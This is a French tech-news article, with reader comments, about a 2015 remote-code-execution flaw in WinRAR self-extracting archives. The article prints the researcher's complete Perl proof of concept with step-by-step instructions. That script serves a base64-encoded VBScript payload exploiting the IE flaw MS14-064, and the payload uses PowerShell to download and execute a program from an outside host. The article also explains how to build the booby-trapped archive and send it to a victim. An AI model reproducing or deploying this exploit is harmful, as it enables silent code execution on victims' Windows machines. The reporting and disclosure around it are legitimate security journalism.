IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)

Vous êtes nouveau sur Developpez.com ? Créez votre compte ou connectez-vous afin de pouvoir participer !

Vous devez avoir un compte Developpez.com et être connecté pour pouvoir participer aux discussions.

Vous n'avez pas encore de compte Developpez.com ? Créez-en un en quelques instants, c'est entièrement gratuit !

Si vous disposez déjà d'un compte et qu'il est bien activé, connectez-vous à l'aide du formulaire ci-dessous.

Identifiez-vous
Identifiant
Mot de passe
Mot de passe oublié ?
Créer un compte

L'inscription est gratuite et ne vous prendra que quelques instants !

Je m'inscris !

Une faille critique dans Winrar permet d'exécuter du code à distance sans élévation de privilège
Exposant ainsi plus de 500 millions d'utilisateurs

Le , par Olivier Famien

81PARTAGES

5  2 
Un chercheur en sécurité du nom de Reza Espargham vient d’annoncer la découverte d’une faille critique dans le logiciel de compression Winrar SFX version 5.21. Cette vulnérabilité permet d’exécuter une attaque à distance afin de compromettre le système sur lequel l’application est installée.

En fait le problème se trouve dans la fonction « Texte et Icone » contenant la zone de texte « Texte à afficher dans la fenêtre SFX ». En insérant du code spécifique dans cette zone de texte, des attaquants sont capables de générer à distance une charge utile pour compromettre le système de la victime.

De manière pratique, l’attaquant va d’abord effectuer quelques petites modifications et exécuter le code Perl ci-dessous contenu dans un fichier poc.pl qu’il aura créé.

Code : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
#!/usr/bin/perl
# Title : WinRaR SFX - Remote Code Execution
# Affected Versions: All Version
# Tested on Windows 7 / Server 2008
#
#
# Author      :   Mohammad Reza Espargham
# Linkedin    :   https://ir.linkedin.com/in/rezasp
# E-Mail      :   me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
# Website     :   www.reza.es
# Twitter     :   https://twitter.com/rezesp
# FaceBook    :   https://www.facebook.com/reza.espargham
#
#
# MS14-064
#
#
# 1 . run perl code : perl poc.pl
# 2 . Right Click on any file and select "add to archive..."
# 3 . select "Create SFX archive"
# 4 . got to Advanced Menu and select "SFX options..."
# 5 . goto to "Text and icon" Menu
# 6 . copy this perl output (HTML) and past on "Text to display in SFX window"
# 7 . Click OK -- OK
# 8 . Your SFX file Created ;)
# 9 . just open sfx file
# 10 . Your Link Download/Execute on your target
# 11 . Finished ;)


#demo https://youtu.be/fo0l0oT4468

use strict;
use warnings;
use IO::Socket;
use MIME::Base64 qw( decode_base64 );
use Socket 'inet_ntoa';
use Sys::Hostname 'hostname';



print "    Mohammad Reza Espargham\n\n";
my $ip = inet_ntoa(scalar gethostbyname(hostname() || 'localhost'));




my $port = 80;

print "Winrar HTML Code\n".'<html><head><title>poc</title><META http-equiv="refresh" content="0;URL=http://' . $ip . '"></head></html>'."\n\n" if($port==80);
print "Winrar HTML Code\n".'<html><head><title>poc</title><META http-equiv="refresh" content="0;URL=http://' . $ip . ':' . $port . '"></head></html>'."\n\n" if($port!=80);

my $server = new IO::Socket::INET(  Proto => 'tcp',
LocalPort => $port,
Listen => SOMAXCONN,
ReuseAddr => 1)
or die "Unable to create server socket";

# Server loop
while(my $client = $server->accept())
{
    my $client_info;
    while(<$client>)
    {
        last if /^\r\n$/;
        $client_info .= $_;
    }
    incoming($client, $client_info);
}

sub incoming
{
    print "\n=== Incoming Request:\n";
    my $client = shift;
    print $client &buildResponse($client, shift);
    close($client);
}

sub buildResponse
{
    my $client = shift;
    my $client_info = shift;
    
    my $poc="CjxodG1sPgo8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVt
    dWxhdGVJRTgiID4KPGhlYWQ+CjwvaGVhZD4KPGJvZHk+CiAKPFNDUklQVCBMQU5HVUFHRT0iVkJT
    Y3JpcHQiPgoKZnVuY3Rpb24gcnVubXVtYWEoKSAKT24gRXJyb3IgUmVzdW1lIE5leHQKc2V0IHNo
    ZWxsPWNyZWF0ZW9iamVjdCgiU2hlbGwuQXBwbGljYXRpb24iKQpjb21tYW5kPSJJbnZva2UtRXhw
    cmVzc2lvbiAkKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgn
    aHR0cDovL3RoZS5lYXJ0aC5saS9+c2d0YXRoYW0vcHV0dHkvbGF0ZXN0L3g4Ni9wdXR0eS5leGUn
    LCdsb2FkLmV4ZScpOyQoTmV3LU9iamVjdCAtY29tIFNoZWxsLkFwcGxpY2F0aW9uKS5TaGVsbEV4
    ZWN1dGUoJ2xvYWQuZXhlJyk7IgpzaGVsbC5TaGVsbEV4ZWN1dGUgInBvd2Vyc2hlbGwuZXhlIiwg
    Ii1Db21tYW5kICIgJiBjb21tYW5kLCAiIiwgInJ1bmFzIiwgMAplbmQgZnVuY3Rpb24KPC9zY3Jp
    cHQ+CiAKPFNDUklQVCBMQU5HVUFHRT0iVkJTY3JpcHQiPgogIApkaW0gICBhYSgpCmRpbSAgIGFi
    KCkKZGltICAgYTAKZGltICAgYTEKZGltICAgYTIKZGltICAgYTMKZGltICAgd2luOXgKZGltICAg
    aW50VmVyc2lvbgpkaW0gICBybmRhCmRpbSAgIGZ1bmNsYXNzCmRpbSAgIG15YXJyYXkKIApCZWdp
    bigpCiAKZnVuY3Rpb24gQmVnaW4oKQogIE9uIEVycm9yIFJlc3VtZSBOZXh0CiAgaW5mbz1OYXZp
    Z2F0b3IuVXNlckFnZW50CiAKICBpZihpbnN0cihpbmZvLCJXaW42NCIpPjApICAgdGhlbgogICAg
    IGV4aXQgICBmdW5jdGlvbgogIGVuZCBpZgogCiAgaWYgKGluc3RyKGluZm8sIk1TSUUiKT4wKSAg
    IHRoZW4gCiAgICAgICAgICAgICBpbnRWZXJzaW9uID0gQ0ludChNaWQoaW5mbywgSW5TdHIoaW5m
    bywgIk1TSUUiKSArIDUsIDIpKSAgIAogIGVsc2UKICAgICBleGl0ICAgZnVuY3Rpb24gIAogICAg
    ICAgICAgICAgIAogIGVuZCBpZgogCiAgd2luOXg9MAogCiAgQmVnaW5Jbml0KCkKICBJZiBDcmVh
    dGUoKT1UcnVlIFRoZW4KICAgICBteWFycmF5PSAgICAgICAgY2hydygwMSkmY2hydygyMTc2KSZj
    aHJ3KDAxKSZjaHJ3KDAwKSZjaHJ3KDAwKSZjaHJ3KDAwKSZjaHJ3KDAwKSZjaHJ3KDAwKQogICAg
    IG15YXJyYXk9bXlhcnJheSZjaHJ3KDAwKSZjaHJ3KDMyNzY3KSZjaHJ3KDAwKSZjaHJ3KDApCiAK
    ICAgICBpZihpbnRWZXJzaW9uPDQpIHRoZW4KICAgICAgICAgZG9jdW1lbnQud3JpdGUoIjxicj4g
    SUUiKQogICAgICAgICBkb2N1bWVudC53cml0ZShpbnRWZXJzaW9uKQogICAgICAgICBydW5zaGVs
    bGNvZGUoKSAgICAgICAgICAgICAgICAgICAgCiAgICAgZWxzZSAgCiAgICAgICAgICBzZXRub3Rz
    YWZlbW9kZSgpCiAgICAgZW5kIGlmCiAgZW5kIGlmCmVuZCBmdW5jdGlvbgogCmZ1bmN0aW9uIEJl
    Z2luSW5pdCgpCiAgIFJhbmRvbWl6ZSgpCiAgIHJlZGltIGFhKDUpCiAgIHJlZGltIGFiKDUpCiAg
    IGEwPTEzKzE3KnJuZCg2KQogICBhMz03KzMqcm5kKDUpCmVuZCBmdW5jdGlvbgogCmZ1bmN0aW9u
    IENyZWF0ZSgpCiAgT24gRXJyb3IgUmVzdW1lIE5leHQKICBkaW0gaQogIENyZWF0ZT1GYWxzZQog
    IEZvciBpID0gMCBUbyA0MDAKICAgIElmIE92ZXIoKT1UcnVlIFRoZW4KICAgICAgIENyZWF0ZT1U
    cnVlCiAgICAgICBFeGl0IEZvcgogICAgRW5kIElmIAogIE5leHQKZW5kIGZ1bmN0aW9uCiAKc3Vi
    IHRlc3RhYSgpCmVuZCBzdWIKIApmdW5jdGlvbiBteWRhdGEoKQogICAgT24gRXJyb3IgUmVzdW1l
    IE5leHQKICAgICBpPXRlc3RhYQogICAgIGk9bnVsbAogICAgIHJlZGltICBQcmVzZXJ2ZSBhYShh
    MikgIAogICAKICAgICBhYigwKT0wCiAgICAgYWEoYTEpPWkKICAgICBhYigwKT02LjM2NTk4NzM3
    NDM3ODAxRS0zMTQKIAogICAgIGFhKGExKzIpPW15YXJyYXkKICAgICBhYigyKT0xLjc0MDg4NTM0
    NzMxMzI0RS0zMTAgIAogICAgIG15ZGF0YT1hYShhMSkKICAgICByZWRpbSAgUHJlc2VydmUgYWEo
    YTApICAKZW5kIGZ1bmN0aW9uIAogCiAKZnVuY3Rpb24gc2V0bm90c2FmZW1vZGUoKQogICAgT24g
    RXJyb3IgUmVzdW1lIE5leHQKICAgIGk9bXlkYXRhKCkgIAogICAgaT1ydW0oaSs4KQogICAgaT1y
    dW0oaSsxNikKICAgIGo9cnVtKGkrJmgxMzQpICAKICAgIGZvciBrPTAgdG8gJmg2MCBzdGVwIDQK
    ICAgICAgICBqPXJ1bShpKyZoMTIwK2spCiAgICAgICAgaWYoaj0xNCkgdGhlbgogICAgICAgICAg
    ICAgIGo9MCAgICAgICAgICAKICAgICAgICAgICAgICByZWRpbSAgUHJlc2VydmUgYWEoYTIpICAg
    ICAgICAgICAgIAogICAgIGFhKGExKzIpKGkrJmgxMWMrayk9YWIoNCkKICAgICAgICAgICAgICBy
    ZWRpbSAgUHJlc2VydmUgYWEoYTApICAKIAogICAgIGo9MCAKICAgICAgICAgICAgICBqPXJ1bShp
    KyZoMTIwK2spICAgCiAgICAgICAgICAKICAgICAgICAgICAgICAgRXhpdCBmb3IKICAgICAgICAg
    ICBlbmQgaWYKIAogICAgbmV4dCAKICAgIGFiKDIpPTEuNjk3NTk2NjMzMTY3NDdFLTMxMwogICAg
    cnVubXVtYWEoKSAKZW5kIGZ1bmN0aW9uCiAKZnVuY3Rpb24gT3ZlcigpCiAgICBPbiBFcnJvciBS
    ZXN1bWUgTmV4dAogICAgZGltIHR5cGUxLHR5cGUyLHR5cGUzCiAgICBPdmVyPUZhbHNlCiAgICBh
    MD1hMCthMwogICAgYTE9YTArMgogICAgYTI9YTArJmg4MDAwMDAwCiAgIAogICAgcmVkaW0gIFBy
    ZXNlcnZlIGFhKGEwKSAKICAgIHJlZGltICAgYWIoYTApICAgICAKICAgCiAgICByZWRpbSAgUHJl
    c2VydmUgYWEoYTIpCiAgIAogICAgdHlwZTE9MQogICAgYWIoMCk9MS4xMjM0NTY3ODkwMTIzNDU2
    Nzg5MDEyMzQ1Njc4OTAKICAgIGFhKGEwKT0xMAogICAgICAgICAgIAogICAgSWYoSXNPYmplY3Qo
    YWEoYTEtMSkpID0gRmFsc2UpIFRoZW4KICAgICAgIGlmKGludFZlcnNpb248NCkgdGhlbgogICAg
    ICAgICAgIG1lbT1jaW50KGEwKzEpKjE2ICAgICAgICAgICAgIAogICAgICAgICAgIGo9dmFydHlw
    ZShhYShhMS0xKSkKICAgICAgICAgICBpZigoaj1tZW0rNCkgb3IgKGoqOD1tZW0rOCkpIHRoZW4K
    ICAgICAgICAgICAgICBpZih2YXJ0eXBlKGFhKGExLTEpKTw+MCkgIFRoZW4gICAgCiAgICAgICAg
    ICAgICAgICAgSWYoSXNPYmplY3QoYWEoYTEpKSA9IEZhbHNlICkgVGhlbiAgICAgICAgICAgICAK
    ICAgICAgICAgICAgICAgICAgIHR5cGUxPVZhclR5cGUoYWEoYTEpKQogICAgICAgICAgICAgICAg
    IGVuZCBpZiAgICAgICAgICAgICAgIAogICAgICAgICAgICAgIGVuZCBpZgogICAgICAgICAgIGVs
    c2UKICAgICAgICAgICAgIHJlZGltICBQcmVzZXJ2ZSBhYShhMCkKICAgICAgICAgICAgIGV4aXQg
    IGZ1bmN0aW9uCiAKICAgICAgICAgICBlbmQgaWYgCiAgICAgICAgZWxzZQogICAgICAgICAgIGlm
    KHZhcnR5cGUoYWEoYTEtMSkpPD4wKSAgVGhlbiAgICAKICAgICAgICAgICAgICBJZihJc09iamVj
    dChhYShhMSkpID0gRmFsc2UgKSBUaGVuCiAgICAgICAgICAgICAgICAgIHR5cGUxPVZhclR5cGUo
    YWEoYTEpKQogICAgICAgICAgICAgIGVuZCBpZiAgICAgICAgICAgICAgIAogICAgICAgICAgICBl
    bmQgaWYKICAgICAgICBlbmQgaWYKICAgIGVuZCBpZgogICAgICAgICAgICAgICAKICAgICAKICAg
    IElmKHR5cGUxPSZoMmY2NikgVGhlbiAgICAgICAgIAogICAgICAgICAgT3Zlcj1UcnVlICAgICAg
    CiAgICBFbmQgSWYgIAogICAgSWYodHlwZTE9JmhCOUFEKSBUaGVuCiAgICAgICAgICBPdmVyPVRy
    dWUKICAgICAgICAgIHdpbjl4PTEKICAgIEVuZCBJZiAgCiAKICAgIHJlZGltICBQcmVzZXJ2ZSBh
    YShhMCkgICAgICAgICAgCiAgICAgICAgIAplbmQgZnVuY3Rpb24KIApmdW5jdGlvbiBydW0oYWRk
    KSAKICAgIE9uIEVycm9yIFJlc3VtZSBOZXh0CiAgICByZWRpbSAgUHJlc2VydmUgYWEoYTIpICAK
    ICAgCiAgICBhYigwKT0wICAgCiAgICBhYShhMSk9YWRkKzQgICAgIAogICAgYWIoMCk9MS42OTc1
    OTY2MzMxNjc0N0UtMzEzICAgICAgIAogICAgcnVtPWxlbmIoYWEoYTEpKSAgCiAgICAKICAgIGFi
    KDApPTAKICAgIHJlZGltICBQcmVzZXJ2ZSBhYShhMCkKZW5kIGZ1bmN0aW9uCiAKPC9zY3JpcHQ+
    CiAKPC9ib2R5Pgo8L2h0bWw+";
    $poc = decode_base64($poc);
    
    my $r = "HTTP/1.0 200 OK\r\nContent-type: text/html\r\n\r\n
    $poc";
    return $r;
}
Ensuite, il va créer une archive SFX avec la dernière version de Winrar. Pour arriver à ses fins, il va suivre les étapes normales de la création d’une archive et sélectionner « créer une archive SFX », puis dans le Menu avancé, il va sélectionner « Options SFX ».

Dans le menu « Texte et icône » affiché se trouve une zone de texte avec comme étiquette « Texte à afficher dans la Fenêtre SFX ». Dans cette zone de texte, il va copier et coller le code HTML généré à partir du code Perl. Enfin, il fera OK, OK pour valider les différentes étapes. C’est cette archive SFX qui sera envoyée à la victime afin de compromettre son système. Nous rappelons qu'une archive SFX est une archive Windows auto-extractible.

Pour ceux qui le souhaitent, ils peuvent également consulter la vidéo ci-dessous afin de suivre visuellement la preuve de concept.


Lorsqu’un utilisateur ouvrira l’archive infectée, la charge utile du fichier infecté va exposer le système de l’utilisateur. Il faut souligner que cette attaque ne nécessite pas d’élévation de privilège. Il suffit pour la victime d’ouvrir le fichier et le tour est joué. Pieter Arntz, MVP Microsoft, a testé avec succès cette procédure. Bien entendu, il a d'abord effectué quelques petites modifications du code ci-dessus afin d'aboutir au même résultat que l'auteur de la découverte.

Il faut rappeler également que Winrar est utilisé par plus de 500 millions d’utilisateurs à travers le monde. Cette version affecte donc l’ensemble de ses utilisateurs qui se trouvent principalement sur la plateforme Windows. Prière à chaque personne de ne pas ouvrir les archives SFX provenant de personnes inconnues dans la mesure où aucun correctif n’a encore été publié.

Source : Seclists

Et vous ?

Que pensez-vous de cette faille ?

Voir aussi
Forum Sécurité

Une erreur dans cette actualité ? Signalez-nous-la !

Avatar de spacm
Membre à l'essai https://www.developpez.com
Le 01/10/2015 à 7:16
Comme le disent les devs de winrar, les archives auto-extractibles sont des exécutables. C'est le cas de toutes les archives auto-extractibles, celles de winzip comprises. Et comme ils le disent, la vraie faille, c'est que l'utilisateur accepte de lancer des exécutables de source douteuse. C'est un peu comme si on nous indiquait une faille de sécurité trouvée sur un couteau: en le tenant à l'envers, on peut se couper... Ben, oui, un couteau, ça coupe, c'est à ça que ça sert.
11  0 
Avatar de chrtophe
Responsable Systèmes https://www.developpez.com
Le 01/10/2015 à 7:32
Même si effectivement tout .exe peut être douteux, c'est toujours pertinent de rabâcher aux gens de se méfier, surtout pour les débutants.
3  0 
Avatar de BufferBob
Expert éminent https://www.developpez.com
Le 01/10/2015 à 2:57
ahh elle est mignonnette celle là, elle mériterait bien son pwnie award du "most epic fail" à mon avis

bon et en même temps si on en est à lancer un SFX... c'est qu'on lui fait confiance (le truc va poser des fichiers et exécuter un script à la fin de toutes façons) du coup la vuln est intéressante si l'utilisateur est d'accord pour la lancer
2  0 
Avatar de MichaelREMY
Membre éclairé https://www.developpez.com
Le 09/10/2015 à 13:43
le correctif a été publié hier sur :
http://www.rarlab.com/

tout comme les explications des failles :
http://www.rarlab.com/vuln_web_html.htm
http://www.rarlab.com/vuln_sfx_html.htm
http://www.rarlab.com/vuln_sfx_html2.htm

cdt,
2  0 
Avatar de BufferBob
Expert éminent https://www.developpez.com
Le 02/10/2015 à 10:38
Citation Envoyé par vanquish Voir le message
Sur le terrain du taux de compression 7z est un indiscutable vainqueur, mais c'est là sa quasi seule qualité, alors que le taux de compression est une contrainte d'un autre temps (débit, prix du Mo).
non ben tu as pas du regarder le bench que j'ai link en détail, il semble que la vitesse de compression soit aussi meilleure, par ailleurs on ne compresse pas forcément que des Mo, on compresse aussi des centaines de Go pour les faire transiter sur le réseau parfois (backups ?)

Je lui préfère un Winrar infiniment plus polyvalent.
plus polyvalent en quoi ? (no troll)
1  0 
Avatar de bytecode
Membre actif https://www.developpez.com
Le 11/10/2015 à 23:31
On peut le faire différemment n'oublions pas que c'est simplement un hta qui est lancé (par l'utilisateur, donc bof techniquement) sans élévation de privilège....
1  0 
Avatar de derderder
Membre averti https://www.developpez.com
Le 01/10/2015 à 1:24
Conclusion : laisser tomber winrar et passer à 7-zip.
Je trouve d'ailleurs que l'on peut comparer winrar et 7zip à flash et html5.
2  2 
Avatar de Volgaan
Membre confirmé https://www.developpez.com
Le 01/10/2015 à 11:30
Citation Envoyé par cuicui78 Voir le message
winrar est bien plus rapide a compresser/décompresser que 7-Zip. quelle blague ce 7-Zip.
Merci pour le troll

Effectivement, si tu prends l'algo LZMA en compression Ultra, ça va prendre un tantinet de temps

Si la vitesse est importante, tu sélectionnes un autre niveau de compression, c'est pas compliqué. Ou alors tu prends LZMA2, tu mets tous les threads possibles et là ça ira un peu plus vite, au détriment du taux de compression par contre (RTFM).

Et puis le LZMA est quand même plus efficace que RAR en terme d'efficacité : il compresse mieux, les archives obtenues sont plus petites. Parfois de peu, mais généralement c'est LZMA qui sort vainqueur. Maintenant, avec RAR5, je ne sais pas. C'est toujours mieux que Deflate de toute façon
0  0 
Avatar de Watilin
Expert éminent https://www.developpez.com
Le 01/10/2015 à 14:28
Citation Envoyé par spacm Voir le message
Comme le disent les devs de winrar, les archives auto-extractibles sont des exécutables. C'est le cas de toutes les archives auto-extractibles, celles de winzip comprises. Et comme ils le disent, la vraie faille, c'est que l'utilisateur accepte de lancer des exécutables de source douteuse. C'est un peu comme si on nous indiquait une faille de sécurité trouvée sur un couteau: en le tenant à l'envers, on peut se couper... Ben, oui, un couteau, ça coupe, c'est à ça que ça sert.
Sur ce critère on pourrait considérer que le meilleur gestionnaire d'archives est celui qui, à dessein, ne prend pas en charge les auto-extractibles.
0  0 
Avatar de bytecode
Membre actif https://www.developpez.com
Le 02/10/2015 à 5:40
Salut, la chose que je comprend le moins sur cette vidéo c'est que par défaut seven n'affiche pas les extensions de fichiers je trouve cela bien plus alarmant...
on peut faire la même vidéo avec un fichier PDF et un script powerpoint.

pour moi il n'y a rien de nouveau une archive sfx reste une tache automatisé qui lance tout et n'importe quoi...

Bonne continuation.
0  0